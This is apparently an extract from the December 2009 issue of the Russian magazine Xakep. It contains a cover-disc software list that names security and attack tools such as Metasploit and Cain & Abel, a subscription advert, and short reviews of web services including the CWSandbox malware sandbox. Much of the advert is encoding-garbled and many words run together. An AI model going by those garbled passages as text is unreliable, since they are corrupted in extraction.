x№ 12(132) ДЕКАБРЬ <strong>2009</strong>>>WINDOWS>Dailysoft7-Zip 4.65DAEMON Tools Lite 4.30.4Download Master 5.5.15.1177Far Manager 2.0FileZilla Client 3.3.0.1foobar2000 0.9.6.9K-Lite Mega Codec Pack 5.4.4Miranda IM 0.8.9Mozilla Firefox 3.5.5Notepad++ 5.5.1Opera 10.10PuTTY 0.60Skype 4.1Sysinternals Suite (november)Total Commander 7.50aUnlocker 1.8.8<strong>Xakep</strong> CD DataSaver 5.2XnView v1.96.5 Complete version>DevelopmentAptana Studio 2.0.1DJ Java Decompiler 3.11.11Expresso 3.0PHP 5.3.1PowerGUI 1.9.5py2exe 0.6.9RegexKit 1.0Regulazy 1.03RubyMine 2.0The Regulator 2.0>GamesMASGAU 0.7.1Neverball 1.5.4Oolite 1.73.4>Misc7 Taskbar TweakerBumpTop 1.50 FreeDropresize 0.1.3.1bGeoGebra 3.2HomeBank 4.1Mouse Extender 1.5PasteCopy.NET 0.9.5.3Quick Checksum Verifier 1.1.3ReadyBoost Monitor 1.0.7Switcher 2.0.0SyncToy 2.1Translate Client 4.2.241Workrave 1.9.1Мультитран>MultimediaBitPim 1.0.6FormatFactory 2.15GPicasa Browser 0.1Microsoft Office 2010Профессиональный выпуск (beta)Paint.NET 3.5Paint.NET 3.5.1SimplyIcon 1.0Solfege 3.14.9Sumatra PDF Reader 1.0The KMPlayer 2.9.4.1435TinyGrab for Windows 1.0.2.1Vitamin DVLC (VideoLAN) 1.0.3>NetConnectify 0.2DestroyFlickr 1.08BDigsby build 73Fishbowl 1.0Helicon ApeHeliconJet 1.0Mozilla Prism 0.9RealVNC Free Edition 4.1.3SeesmicTeamViewer 5 BetaVirtual Router 0.9bWinSCP 4.2.4>Security0x4553-Intercepter 0.7.9BeEFBingingCain & Abel 4.9.35Metasploit 3.3Microsoft Baseline Security Analyzer2.1.1MyPorts 2010Netcat for IPv6SRWare 3.0>SystemAll in One Runtimes 1.4.4AllmyappsAuslogics Disk Defrag 3.1.0BackUp 2.1Default Programs Editor 2.4DevManView 1.00Driver Sweeper 2.0.5EasyBCD 1.7.2Kiwi application monitor 1.3.4PassMark PerformanceTest 7Recuva 1.33Registry Life 1.10Speccy v1.00.066 BetaTaskbar Meters 0.1Windows 7 Firewall ControlWindows Surface Scanner>>UNIX>DesktopAbiword 2.8Dkopp 4.8Hydrogen 0.9.4Kid3 1.3Kontakter 0.2Krusader 2.0.0Mathomatic 14.6.1Minitube 0.8Mp3splt 2.2.7Qmmp 0.3.1Qvv 4.01Rapid Photo Downloader 0.1.0RedNotebook 0.8.9Scan Tailor 0.9.7.1Scilab 5.1.1ScreenGrab 0.4Ultimate Lyrics 1.75VariCAD Viewer 1.02>DevelAqua Data Studio 8.0Beaver Debugger 1.0.0.b2Bouml 4.16.2Cppcheck 1.38CodeLite 2.0Cutter 1.1.0EiffelStudio 6.5.8Eric4 4.3.9Jailer 3.2JRuby 1.4KMD 0.9.9Mercurial 1.4MySQLoader 0.2.4Python-ptrace 0.6.2Qucs 0.0.15Source Navigator 6.0SQLyog 8.17SSHole 0.1SWIG 1.3.40Ultimate++ 1705>GamesBilliards 0.3>NetBitFlu 0.94Bost 0.0.8DNetStats 1.2.5Download Machine 0.24Dropbox 0.6.571Konversation 1.2.1KTorrent 3.3Lince 1.1LinuxDC++ 1.0.3Mozilla Firefox 3.5.5NetEmul 0.9.8Nullfxp 2.0.1Opera 10.01Psi 0.14 RC1qTwitter 0.10.0QutIM 0.2Qwit 1.0 BetaRssOwl 2.0Stunnel 4.28XTelnet 0.4.4xVideoServiceThief 2.3>SecurityAarni 0.2.0.2AutoScan 1.42Cameloid 1.8bDradis 2.4.1Fimap 0.6.1Lutz 0.8.1Lynis 1.2.7Metasploit Framework 3.3Naptha 1.1NetfilterStatsBuilder 1.6.0Nmapsi4 0.1.1P3Scan 3.0pfSense 1.2.2RATS 2.3Samhain 2.6.0Stegnate 0.0.1Tinc 1.0.11Tor 0.2.1.20UCSniffer 3.07Ufw 0.29.1Wipe 2.3.0Wireshark 1.2.4Yafic 1.2.2Yokoso 0.1>ServerApache 2.2.14Asterisk 1.6.1BIND 9.7.0b2CUPS 1.4.2DHCP 4.1.1b3Dropbear SSH Server 0.52Ejabberd 2.1.0Exim 4.70MySQL 5.1.41ngIRCd 15OpenLDAP 2.4.19OpenSSH 5.3OpenVPN 2.1rc21Postfix 2.6.5PostgreSQL 8.4.1Samba 3.4.3Sendmail 8.14.3Squid 3.0.STABLE19>SystemATI 9.11Grub 1.97HDT 0.3.5iWatch 0.2.2Linux Kernel 2.6.31.6Logdigest 0.2.3Munin 1.4.0 AlphaNetconfig 0.3.3NetXMS 0.2.31NTFS-3G <strong>2009</strong>.11.14nVidia 190.42QKernelBuilder 1.2Sysstat 9.0.6VirtualBox 3.0.10VMware Workstation 7.0Wine 1.1.33Ximinez 0.9>X-distrFreeBSD 8.0


РЕКОМЕНДОВА НАЯЦЕНАРОССИЯ — ГЕРМАНИЯГЛАВНЫЕ МОМЕНТЫМАТЧА ГОДАНАШОБЗОР11 46 Ноябрь <strong>2009</strong>Футбол как Стрwww.totalfootbВ БРАЗИЛИЛУЧШФУТБОЛЬНЫШКОЛ МИÏÎÄÏÈÑÊÀ  ÐÅÄÀÊÖÈÈ2100 ðóá.Ãîäîâàÿ ïîäïèñêà ïî öåíå(на 23 % дешевле чем при покупке в розницу)ÅÄÈÍÀß ÖÅÍÀ ÏÎ ÂÑÅÉ ÐÎÑÑÈÈ. ÄÎÑÒÀÂÊÀ ÇÀ Ñ×ÅÒ ÈÇÄÀÒÅËß,  ÒÎÌ ×ÈÑËÅ ÊÓÐÜÅÐÎÌ ÏÎ ÌÎÑÊÂÅ Â ÏÐÅÄÅËÀÕ ÌÊÀÄÂÍÈÌÀÍÈÅ!ÂÒÎÐÎÅÑÏÅÖÏÐÅÄËÎÆÅÍÈÅ!ÏÐÈ ÏÎÄÏÈÑÊÅ ÍÀ ÊÎÌÏËÅÊÒ ÆÓÐÍÀËÎÂÆÅËÅÇÎ + ÕÀÊÅÐ + DVD:- ÎÄÈÍ ÍÎÌÅÐ ÂÑÅÃÎ ÇÀ 155 ÐÓÁËÅÉ(ÍÀ 35% ÄÅØÅÂËÅ, ×ÅÌ Â ÐÎÇÍÈÖÓ)ÇÀ 24 ÍÎÌÅÐÀÇÀ 12 ÍÎÌÅÐÎÂ3720 ðóá 2100 ðóáÏËÞÑ ÏÎÄÀÐÎÊÎÄÈÍ ÆÓÐÍÀËÄÐÓÃÎÉÒÅÌÀÒÈÊÈÎÔÎÐÌÈ ÃÎÄÎÂÓÞ ÏÎÄÏÈÑÊÓ Â ÐÅÄÀÊÖÈÈ,ÂÛ ÌÎÆÅÒÅ ÁÅÑÏËÀÒÍÎ ÏÎËÓ×ÈÒÜ ÎÄÈÍÑÂÅÆÈÉ ÍÎÌÅÐ ËÞÁÎÃÎ ÆÓÐÍÀËÀ,ÈÇÄÀÂÀÅÌÎÃÎ ÊÎÌÏÀÍÈÅÉ «ÃÅÉÌ ËÝÍÄ»:• ЯНВАРСКИЙ НОМЕР — подписавшисьдо 30 ноября• ФЕВРАЛЬСКИЙ НОМЕР — подписавшисьдо 31 декабря• МАРТОВСКИЙ НОМЕР — подписавшись«Фотомастерская»+CDSmokeSki Pass«Мобильные «T3.Техника «Страна Игр»компьютеры» Третьего Тысячелетия» +2DVDTotal DVD+DVD«Форсаж.ТА»«Железо»+DVDDVDXpert«Вышиваюкрестиком»«РС Игры»+2DVDMountin Bike ONBOARD Total Football+DVDдо 31 январяВПИШИТЕ В КУПОН НАЗВАНИЕ ВЫБРАННОГО ВАМИ ЖУРНАЛА, ЧТОБЫ ЗАКАЗАТЬ ПОДАРОЧНЫЙ НОМЕР170 p .БЫСТРОВВОЙНА ФАНАТОВ.ЗА И ПРОТИВБАРСЕЛОНАСПАРТАКАКИНФЕЕВЧЕРЧЕСОВPES1 0ИГНАШЕВИЧКТО ЗАСТАВИЛ ЕГОГОВОРИТЬ С ПРЕССОЙСПАРТАК И К2 ПОСТЕРА ВВАГНЕР ЛАПОЧЕМУ ОН УЕХА6«ТюнингАвтомобилей»Digital Photo«Хулиган»ÏÎÄÏÈØÈÑÜ È ÂÛÈÃÐÀÉÏÎÄÀÐÎ×ÍÛÉ ÍÀÁÎÐ GILLETTE SERIESÃÅËÜ ÄËß ÁÐÈÒÜß GILLETTE SERIES PURE AND SENSITIVE ÄËß×ÓÂÑÒÂÈÒÅËÜÍÎÉ ÊÎÆÈ + ÁÀËÜÇÀÌ ÏÎÑËÅ ÁÐÈÒÜß GILLETTE SERIES CÀËÎÅ ÂÅÐÀ.


ÂÛÃÎÄÀ • ÃÀÐÀÍÒÈß • ÑÅÐÂÈÑÊÀÊ ÎÔÎÐÌÈÒÜ ÇÀÊÀÇ1. Разборчиво заполните подписной купон и квитанцию,вырезав их из журнала, сделав ксерокопиюили распечатав с сайта www.glc.ru.2. Оплатите подписку через любой банк.3. Вышлите в редакцию копию подписных документов— купона и квитанции — любым из нижеперечисленныхспособов:ïî ýëåêòðîííîé ïî÷òå subscribe@glc.ru;ïî ôàêñó 8 (495) 780-88-24;ïî àäðåñó 119021, Ìîñêâà,óë. Òèìóðà Ôðóíçå, ä. 11, ñòð. 44,ÎÎÎ «Ãåéì Ëýíä», îòäåë ïîäïèñêè.ÂÍÈÌÀÍÈÅ!ÏÎÄÏÈCÊÀ ÎÔÎÐÌËßÅÒÑß ÂÄÅÍÜ ÎÁÐÀÁÎÒÊÈ ÊÓÏÎÍÀ È ÊÂÈÒÀÍÖÈÈÑ ÍÎÌÅÐÀ, ÂÛÕÎÄßÙÅÃÎ ×ÅÐÅÇ ÎÄÈÍÊÀËÅÍÄÀÐÍÛÉ ÌÅÑßÖ ÏÎÑËÅ ÎÏËÀÒÛ.Например, если произвести оплату в ноябре,то подписку можно оформить с января. ÊÀÆÄÎÌ ÍÎÌÅÐÅ ÓÍÈÊÀËÜÍÛÉ DVDÑÒÎÈÌÎÑÒÜ ÇÀÊÀÇÀ2100Ð ÇÀ 12 ÌÅÑßÖÅ + ÏÎÄÀÐÎ×ÍÛÉ ÆÓÐÍÀË1200Ð. ÍÀ 6 ÌÅÑßÖÅÂ. ÏÎÄÀÐÎ×ÍÛÉ ÆÓÐÍÀË ÏÐÈ ÝÒÎÌ ÍÅ ÂÛÑÛ-ËÀÅÒÑßÏÎ ÂÑÅÌ ÂÎÏÐÎÑÀÌ, связанным с подпиской, звоните побесплатным телефонам 8(495)780-88-29 (для москвичей)и 8(800)200-3-999 (для жителей других регионовРоссии, абонентов сетей МТС, БиЛайн и Мегафон).ÂÀØÈ ÂÎÏÐÎÑÛ, ÇÀÌÅ×ÀÍÈß È/ÈËÈÏÐÅÄËÎÆÅÍÈß ÏÎ ÏÎÄÏÈÑÊÅ ÍÀ ÆÓÐÍÀË ÏÐÎÑÈÌÏÐÈÑÛËÀÒÜ ÍÀ ÀÄÐÅÑ: info@glc.ruÎÔÎÐÌÈÒÜ ÏÎÄÏÈÑÊÓ на Хакер стало ещепроще!C июля <strong>2009</strong> года это можно сделатьв любом из 72 000 платежных терминалахQIWI (КИВИ) по всей России.прошу выслать бесплатныйномер журнала


UNITSHTTP://WWW2Для поиска инвайтовNINITEninite.comДля установки важныхприложений одниммахомКак собрать джентльменский набор необходимого софта после переустановкисистемы? Ломиться в Сеть за свежими дистрибутивами и потомкропотливо запускать один инсталлятор за другим? Нет уж, извините —наш ответ Ninite! Все, что нужно: зайти на ninite.com, выбрать из спискаприложения, которые нужно установить, и получить на выходе готовыйинсталлятор. Тот сам подкачает дистрибутивы программ и тихо установитих в систему с дефолтными настройками. Чертовски удобно!INVITERinviter.ruАнглийское слово «invite» давно не только не пугает русского пользователя,но и, напротив, всячески манит. Приглашение на закрытый ресурсв большой цене и найти его зачастую не так просто. Хорошо, если естьзнакомый с заветным инвайтом, но если такого знакомого нет? Найтилюдей, которые готовы поделиться приглашением или, на худой конец,выменять его на что-то другое, поможет ресурс inviter. На текущий моментэто 4085 пользователей, предлагающих 17318 инвайтов на разных сайтах.И Google Wave — в том числе!Для отслеживанияизменений на сайтахCHANGEDETECTIONChangedetection.comБесплатный сервис, который монитор веб-сайты и отслеживает всеизменения, докладывая о новых данных или, наоборот, исчезнувшемсодержании тебе на e-mail. Все изменения подсвечиваются для большейнаглядности, а чтобы внести ясность, когда каждое из них произошло,ChangeDetection ведет историю изменений с временными метками. Проверкаосуществляется раз в день, причем на процесс можно повлиять,указав нужные параметры для мониторинга.Для анализа исполняемогофайлаCWSANDBOXwww.cwsandbox.orgПроверить бинарник тремя десятками антивирусов можно на virustotal.com, но то лишь статический анализ. Зачастую гораздо важнее узнать,как ведет себя приложение после запуска — какие изменения вносит вреестр, какие файлы изменяет, куда обращается в инете. Для этого файлобычно приходится запускать в «песочнице» или под виртуальной машинойс включенными мониторами (RegMon/FileMon от Марка Руссиновича,например). Теперь есть еще один способ — залить файл на онлайн-сервисCWSandbox, который проведет анализ сам и выдаст подробный результат.144 XÀÊÅÐ 12 /132/ 09

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!